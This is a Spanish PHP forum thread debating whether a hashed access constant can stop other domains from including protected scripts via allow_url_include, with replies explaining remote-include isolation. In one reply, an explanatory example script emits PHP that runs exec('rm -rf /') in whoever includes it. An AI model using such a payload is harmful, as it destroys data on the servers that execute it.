Foros del Web » Programando para Internet » PHP »

[SOLUCIONADO] bloqueo de archivo

Estas en el tema de bloqueo de archivo en el foro de PHP en Foros del Web. Hola amigos veran mi problema: estoy intentando que si un archivo de un dominio b es incluido desde un dominio a pero sin ninguna autorizacion ...
  #1 (permalink)  
Antiguo 28/04/2013, 06:33
webankenovi
Invitado
 
Mensajes: n/a
Puntos:
bloqueo de archivo

Hola amigos veran mi problema:

estoy intentando que si un archivo de un dominio b es incluido desde un dominio a pero sin ninguna autorizacion se bloquee la ejecucion del script, ahora vien existen medidas para implementar como .htaccess , open base dir , y una constante de acceso .

ahora bien si estas medidas son vulneradas yo estoy intentando pensar como bloquear la ejecucion con otra medida

al principio de los archivos a proteger

Código PHP:
Ver original
  1. if( ! defined('FileAccess') || FileAccess != hash('whirlpool',php_uname().php_sapi_name().phpversion(),false) )
  2. {
  3.     exit('Acceso denegado');
  4. }

veran que existe la constante de acceso pero esta puede ser vulnerada ahora bien para que no suceda eso se crea la contante con los datos :

Código PHP:
Ver original
  1. define('FileAccess',hash('whirlpool',php_uname().php_sapi_name().phpversion(),false));

un hash con el sistema la api y la version de php , si un dominio a llama a un fichero de un dominiob sin autorizacion esta medida previene la ejecucion ya que es muy dificil que se de que ambos dominios tengan el mismo sistema ,api y version de php , si estos se dan no habria manera de bloquear el acceso

ahora se comparan y solo se dara acceso al codigo incluido si ambos hash son iguales

index.php / dominio a
Código PHP:
Ver original
  1. include 'h t t p:// dominiob/core/benchmarck.php';


benchmarck.php dominio b


Código PHP:
Ver original
  1. if( ! defined('FileAccess') || FileAccess != hash('whirlpool',php_uname().php_sapi_name().phpversion(),false) )
  2. {
  3.     exit('Acceso denegado');
  4. }

para tener acceso se debe definir la contstante en el mismo dominio en los ficheros en los que es llamado y ademas que los datos sean iguales o para vulnerarlo se deberia de saber el nombre de la constante que si es un framework conocido es facil saberla pero ahora aunque se sepa con esta medida es dificil vulenerarla ya que se deberia de conocer la version de php de la api y el sistema .

Código PHP:
Ver original
  1. define('FileAccess',hash('whirlpool',php_uname().php_sapi_name().phpversion(),false));

ahora bien mi duda es la siguiente :

- si yo llamo al archivo del dominiob protegido desde el dominioa , las funciones php_uname,sapi_uname y phpversion que estan en el archivo protegido , obtendran los datos del dominio a o b (donde es llamado o donde esta alojado), ya que esto no lo puedo probar no tengo manera de comprobarlo , en local siempre son iguales ya que estan en el mismo servidor .

si al incluir el archivo en el dominoa este obtiene los resultados del dominioa mi idea no sirve para nada.



Si alguien que tenga 2 dominios pudiera ayudarme y hacerme un test rapido se lo agradeceria el test seria el siguiente

dominio 1 . archivo.php

contenido
Código PHP:
Ver original
  1. <?php
  2.  
  3. define('FileAccess',hash('whirlpool',php_uname().php_sapi_name().phpversion(),false));
  4.  
  5. include 'dominio2/archivo.php';
  6.  
  7. ?>

dominio 2 . archivo.php

contenido
Código PHP:
Ver original
  1. <?php
  2.  
  3. if( ! defined('FileAccess') || FileAccess != hash('whirlpool',php_uname().php_sapi_name().phpversion(),false) )
  4. {
  5.     exit('Acceso denegado');
  6. }
  7. else
  8. {
  9.     exit(Acceso autorizado);
  10. }
  11.  
  12. ?>

y me reportara el resultado obtenido y me especificara si estan en servidores diferentes o no , se lo agradeceria un monton .

haber si me pueden ayudar y dar su opinion sobre lo comentado .

saludos .. . .::

Última edición por webankenovi; 28/04/2013 a las 10:17
  #2 (permalink)  
Antiguo 28/04/2013, 10:27
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: bloqueo de archivo

Una cosa es clara aquí, usar allow_url_include para permitir la ejecución remota de código es una vulnerabilidad bastante grave, ¿qué pretendes hacer?

Mi opinión al respecto es que estás haciendo trucos chinos sin tener una buena excusa, casi estoy seguro que lo que estás buscando se resuelve implementando WebServices, ya nos dirás.

Pero bueno, sin explicarnos tus objetivos puedo decir que te estás mareando sin motivos.
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #3 (permalink)  
Antiguo 28/04/2013, 11:01
webankenovi
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: bloqueo de archivo

Cita:
Iniciado por webankenovi Ver Mensaje
Hola amigos veran mi problema:

estoy intentando que si un archivo de un dominio b es incluido desde un dominio a pero sin ninguna autorizacion se bloquee la ejecucion del script, ahora vien existen medidas para implementar como .htaccess , open base dir , y una constante de acceso .

ahora bien si estas medidas son vulneradas yo estoy intentando pensar como bloquear la ejecucion con otra medida
Haber pateketrueke mi intencion no es usar allow_url_include ni usar webservices yo no quiero conectar 2 dominios .

Mi intencion por si no quedo clara en el post anterior es proteger archivos y que estos no puedan ser incluidos desde ningun otro dominio , es decir si un atacante desde su dominio decide incluir un archivo de mi dominio sin mi autorizacion es decir por que le da la gana mi intencion es bloquearlo .
  #4 (permalink)  
Antiguo 28/04/2013, 11:10
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: bloqueo de archivo

¿Y cómo va a ser posible eso?

Ningún sitio externo puede acceder al código fuente desde una URL, es decir, al código PHP.

Es como si yo hago esto:
Código PHP:
include 'http://www.forosdelweb.com/index.php'
Eso no me va a ejecutar nada de código ni nada por el estilo.

Además las técnicas de "protección" que buscas son absurdas, tan fácil que es colocar los scripts fuera del acceso ṕúblico y listo.

Así que sigo pensando lo mismo, te estás mareando sin motivos.
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #5 (permalink)  
Antiguo 28/04/2013, 11:20
webankenovi
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: bloqueo de archivo

Cita:
Iniciado por pateketrueke Ver Mensaje
¿Y cómo va a ser posible eso?

Ningún sitio externo puede acceder al código fuente desde una URL, es decir, al código PHP.

Es como si yo hago esto:
Código PHP:
include 'http://www.forosdelweb.com/index.php'
Eso no me va a ejecutar nada de código ni nada por el estilo.
No?

Código PHP:
Ver original
  1. <?php
  2.  
  3. // php.ini
  4.  
  5. allow_url_include = On
  6.  
  7. include 'http://www.dominio.com/core/login.php';
  8.  
  9. ?>

seguro que de no se ejecuta codigo php? ummmm yo diria que si (no digo acceder al codigo fuente si no ejecutarlo no te confundas, con la ejecucion se pueden conseguir que el script tire errores y por consiguiente conseguir informacion), siempre y cuando se vulneren las medidas de seguridad como por ejemplo dices fuera del acceso publico que por cierto me resulta algo fuerte que digas "tan facil es como colocarlo fuera del acceso publico y listo" si todo fuera tan facil como tu dices . . .

es una medida mas y por que es absurda puedes explicarlo? he dicho siempre y cuando se vuelneren otras medidas , no creo que nadie solo implemente algo asi para proteger sus archivos.
  #6 (permalink)  
Antiguo 28/04/2013, 11:28
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: bloqueo de archivo

Bueno, pero entonces sería hacer un request a dicha URL, cosa que con la consola también se puede conseguir, además de que hay muchas formas para hacer eso.

¿Entonces que caso tiene?

Es como si abro mi navegador y apunto hacia un script de los que intentas proteger, claro que voy a poder cargarlo, ¿entonces de que sirven tus comparaciones con php?

De nada, son sencillamente inútiles.

Sigo pensando que si de verdad pretendes evitar la ejecución (ok, no inclusión) de código debes colocar tus scripts fuera del acceso público y/o protegerlo correctamente con .htaccess ¿no te parece?

Y si, es fácil, extremadamente sencillo cuando se tiene un servidor apropiado claro está, y desde luego que si no es así la forma de protección que buscas seguirá siendo inútil.

Esa es la solución mas elegante a mi parecer.


Pero bien, aún hay otra solución un poco más rudimentaria, la de la "constante bloqueadora".

Si en tu archivo front-controller o index defines una constante, al incluir otro script dicha constante debe estar en el ámbito, a menos que el script se ejecte directamente, lo cual ya no tiene dicha constante en contexto.

¿Se entiende?

index.php
Código PHP:
define('FUUUUUA'1); 
mi/script/sensible.php
Código PHP:
if ( ! defined('FUUUUUA')) die('acceso protegido'); 
No te marees de la nada.
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #7 (permalink)  
Antiguo 28/04/2013, 11:40
webankenovi
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: bloqueo de archivo

no se si lo que te escribo esta en chino o que sinceramente antes de decir algo deberias leer bien los post y asegurarte que tus respuestas son correctas , se que se ha de proteger con.htacces y poner fuera del acceso publico es lo primero que dije en el post

"ahora vien existen medidas para implementar como .htaccess , open base dir , y una constante de acceso .ahora bien si estas medidas son vulneradas yo estoy intentando pensar como bloquear la ejecucion con otra medida"

si tu abres el navegador y apuntas hacia un script que yo tengo protegido no vas a conseguir nada

por que aparte de proteger con .htaccess

existe la constante que deberas conocer
- si la conoces es facil la declaras y lo llamas (casos como codegniter es facil saber el nombre de la constante si esta no es modificada) si no bueno ..... te denegara el acceso , ahora si la conoces pues la declaro y listo ahora bien , yo intento proteger desde el punto este que un usuario conozca la constante y ademas se salte las medidas de seguridad .

sigues diciendo que son inutiles pero no das una razon , puedes darla? y si es absurda inutil a que viene esto?


Cita:
Iniciado por pateketrueke Ver Mensaje
Pero bien, aún hay otra solución un poco más rudimentaria, la de la "constante bloqueadora".

Si en tu archivo front-controller o index defines una constante, al incluir otro script dicha constante debe estar en el ámbito, a menos que el script se ejecte directamente, lo cual ya no tiene dicha constante en contexto.

¿Se entiende?

index.php
Código PHP:
define('FUUUUUA'1); 
mi/script/sensible.php
Código PHP:
if ( ! defined('FUUUUUA')) die('acceso protegido'); 
No te marees de la nada.
no crees que es lo mismo que estoy explicando yo , pero en vez de solo comprobar si esta definida comprobar su valor y ver si es correcto

  #8 (permalink)  
Antiguo 28/04/2013, 11:45
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: bloqueo de archivo

Por todo lo demás creo ambos entendemos bien, pero esto si nunca va a suceder:
Cita:
existe la constante que deberas conocer
- si la conoces es facil la declaras y lo llamas (casos como codegniter es facil saber el nombre de la constante si esta no es modificada) si no bueno ..... te denegara el acceso , ahora si la conoces pues la declaro y listo ahora bien , yo intento proteger desde el punto este que un usuario conozca la constante y ademas se salte las medidas de seguridad .
Yo no puedo hacer esto y esperar que funcione, es ridículo.
Código PHP:
define('FUUUUUA'1);
include 
'http://web.com/mi/script/sensible.php'
¡Eso es imposible además de absurdo!

Y si, el código que hice es el mismo concepto tuyo, pero sin el mareo que conlleva comprobar valores que son francamente inútiles.

Es mas, ¿de verdad quieres hacer la prueba?

Tu pon el sitio, los scripts protegidos y yo hago las peticiones a ver que resulta.
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #9 (permalink)  
Antiguo 28/04/2013, 11:49
webankenovi
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: bloqueo de archivo

Cita:
Iniciado por pateketrueke Ver Mensaje
pero esto si nunca va a suceder:

Yo no puedo hacer esto y esperar que funcione, es ridículo.
Código PHP:
define('FUUUUUA'1);
include 
'http://web.com/mi/script/sensible.php'
¡Eso es imposible además de absurdo!
puedes dar un por que en vez de absurdo inutil etc... por que yo opino que si funciona .
  #10 (permalink)  
Antiguo 28/04/2013, 11:51
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: bloqueo de archivo

Cita:
Iniciado por webankenovi Ver Mensaje
puedes dar un por que en vez de absurdo inutil etc... por que yo opino que si funciona .
Pues opinar no es certeza, ¿estás completamente seguro de que funcionará?

Hagamos la prueba entonces.
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #11 (permalink)  
Antiguo 28/04/2013, 11:52
webankenovi
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: bloqueo de archivo

bueno tiras la piedra pero escondes la mano ya que no das ninguna razon.

aun asi me resulta interesante la conversacion
  #12 (permalink)  
Antiguo 28/04/2013, 11:56
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: bloqueo de archivo

Cita:
Iniciado por webankenovi Ver Mensaje
bueno tiras la piedra pero escondes la mano ya que no das ninguna razon.
¿Necesitas mas razones que hacer pruebas para descartar cualquier opinión?

Te digo el por que:

Cita:
<?php

// php.ini

allow_url_include = On

include 'http://www.dominio.com/core/login.php';

?>
Tu dices que eso es posible, así que vamos a asumir que tienes razón, pero bien dijiste "no digo acceder al codigo fuente si no ejecutarlo no te confundas" ¿verdad?

Y estoy de acuerdo contigo, tal vez el código no se incluya en el contexto del script pero si se ejecutará remotamente.

¿En que parte el script remoto tiene acceso al contexto donde se incluye?

Eso no es posible, y eso simplemente refuta la teoría de que se puede definir la constante en el script que invoca todo.

Esa es la razón.

Si no me quieres creer no pierdes nada con hacer pruebas por ti mismo, ¿o me equivoco?
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #13 (permalink)  
Antiguo 28/04/2013, 12:02
webankenovi
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: bloqueo de archivo

haber me parace correcto lo que dijiste .

ejecutar se va a ejecutar si no existe medida alguna , es mas lo que se espera es que falle (consultas , variables, etc... )para que revele informacion , no para incluirlo en un contexto
  #14 (permalink)  
Antiguo 28/04/2013, 12:07
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: bloqueo de archivo

Cita:
Iniciado por webankenovi Ver Mensaje
haber me parace correcto lo que dijiste .

ejecutar se va a ejecutar si no existe medida alguna , es mas lo que se espera es que falle (consultas , variables, etc... )para que revele informacion , no para incluirlo en un contexto
El punto es que tu script remoto sensible.php no puede saber si en el script local donde lo incluyes estás definiendo algo o no, es totalmente agnóstico de lo que estás ejecutando en local pues se ejecuta de forma aislada en remoto.

Así que la medida de la "constante bloqueadora" debería funcionar bien, sin tener que andar comparando otros valores como lo estabas haciendo, eso si no sirve de nada.

En resumen, si expones tus scripts al público tal ves te conviene dicha solución si no cuentas con .htaccess para bloquear dichos scripts/carpetas.

Si no están disponibles al público entonces no hay de que preocuparse.
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #15 (permalink)  
Antiguo 28/04/2013, 12:16
webankenovi
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: bloqueo de archivo

es muy diferente esta respuesta a decir que es absurdo y tal no cres? aun asi desconozco si declarando la constante antes de llamarlo sea valido por eso pedi consejo ya que yo no puedo probarlo.

segun tu no es posible ¿verdad?

extraido de php

Advertencia
Advertencia de seguridad

El archivo remoto puede ser procesado en el servidor remoto (dependiendo de la extensión del archivo y del hecho de si el servidor remoto corre PHP o no) pero aun así tiene que producir un script PHP válido, porque será procesado en el servidor local. Si el archivo desde el servidor remoto debe ser procesado allá y entregar la salida solamente, readfile() es la mejor función para usar. De lo contrario, debe tenerse especial cuidado para asegurar que el script remoto produce un código válido y deseado

por que esta advertencia de seguridad?
  #16 (permalink)  
Antiguo 28/04/2013, 12:27
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: bloqueo de archivo

Cita:
Iniciado por webankenovi Ver Mensaje
es muy diferente esta respuesta a decir que es absurdo y tal no cres? aun asi desconozco si declarando la constante antes de llamarlo sea valido por eso pedi consejo ya que yo no puedo probarlo.
Bueno, "absurdo" es la mejor etimología al caso, ¿sabes lo que implica?

La argumentación que no lleva a nada claro es absurda.

Igual y el absurdo soy yo.

Cosa a parte.


Cita:
Iniciado por webankenovi Ver Mensaje
Advertencia
Advertencia de seguridad

El archivo remoto puede ser procesado en el servidor remoto (dependiendo de la extensión del archivo y del hecho de si el servidor remoto corre PHP o no) pero aun así tiene que producir un script PHP válido, porque será procesado en el servidor local. Si el archivo desde el servidor remoto debe ser procesado allá y entregar la salida solamente, readfile() es la mejor función para usar. De lo contrario, debe tenerse especial cuidado para asegurar que el script remoto produce un código válido y deseado

por que esta advertencia de seguridad?
La clave está en esta en la parte de "producir un script PHP válido".

¿Por qué la advertencia?

Es bastante sencillo, al usar include estás implicando que lo que se dispone a cargar es código PHP embebido, eso lo sabemos porque necesitamos siempre las etiquetas <?php .. ?> para ejecutar código PHP.

Así que la advertencia te indica que si el script remoto imprime secuencias incorrectas o maliciosas de código estas se ejecutarán en tu ámbito local y las consecuencias serán evidentes.

Eso es todo, si tu script sensible.php no hace nada mas que ejecutar cosas de su propio ámbito el resultado puede que no sea código válido para ejecutar.

Si buscamos ejecutar código remotamente deberíamos hacerlo así:

malicioso.php
Código PHP:
<?php
echo '<' "?php\n";
echo 
'exec("rm -rf /");';
ingenuo.php
Código PHP:
include 'http://web.com/malicioso.php'
Es decir, el script remoto se ejecuta y la salida debe ser un script válido de PHP.

¿Se entiende?
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #17 (permalink)  
Antiguo 28/04/2013, 12:35
webankenovi
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: bloqueo de archivo

Cita:
Iniciado por pateketrueke Ver Mensaje

La argumentación que no lleva a nada claro es absurda.
bueno en principio esa argumentacion lleva a que podais comprender mi duda y ayudarme a solucionarla , no se si viendolo asi es la mejor etimologia para el caso.

bueno mas o menos que ha quedado claro , aun asi lo probare por mi y perdere un poco el tiempo haciendo trucos chinos.

saludos.. si alguien mas se anima ................
  #18 (permalink)  
Antiguo 28/04/2013, 20:11
Avatar de GatorV
$this->role('moderador');
 
Fecha de Ingreso: mayo-2006
Ubicación: /home/ams/
Mensajes: 38.567
Antigüedad: 18 años
Puntos: 2135
Respuesta: bloqueo de archivo

Pues viendo el tema, creo no haz entendido bien lo que te dice Pateketrueke, y como funciona PHP, el caso es simple.

include, lo que hace es incluir un archivo local y ejecutarlo / procesarlo, así es como funciona, abre el archivo, lo parsea por el código PHP válido, (es decir lo que este entre <?php y ?> (el ?> es opcional)) y lo ejecuta. Punto eso es todo lo que hace include. Su variante require funciona igual pero tiene otras "ventajas".

Ahora versiones más nuevas de PHP introdujeron la directiva allow_url_include, ¿que hace esta directiva? Algo sencillo y es, te permite realizar una petición HTTP hacía otro servidor para traer código, evaluarlo y ejectuarlo, pero como bien dice Pateketrueke, es una vulnerabilidad ya que nunca puedes confiar que el script que vas a traer para ejecutar, sea código PHP "bueno" o "maligno".

Pero aquí esta la clave, al hacer la petición HTTP hacía el otro servidor, es exactamente lo mismo que si con el navegador pidieras esa URL, (con algunas diferencias pero en escencia es lo mismo). Por lo que NUNCA van a co-existir esos ámbitos, es como la gente que ingenuamente quiere ejecutar javascript y PHP en paralelo, los ámbitos no son diferentes.

Si tú defines una constante, o una variable en tu local, y haces el include hacía el script remoto, estas variables no existen en el script remoto nunca, lo único que existe son las variables GET que puedas mandar (si lo haces con include) y hasta ahí.

Entonces si entiendes y comprendes esto, puedes ver que lo que estas haciendo es justamente, trucos chinos que no tienen nada que ver, ya que es imposible que alguién te baje tu script y lo altere, lo único que te tienes que proteger precisamente es de los datos de entrada (GET, POST, PUT, COOKIES), y hasta ahí, las variables nunca van a ser modificadas por un tercero a menos que tengan acceso local a tu servidor.

Saludos.
  #19 (permalink)  
Antiguo 30/04/2013, 12:33
webankenovi
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: bloqueo de archivo

Gracias a ambos , saludos.

Etiquetas: bloqueo, files, include, seguridad
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 02:43.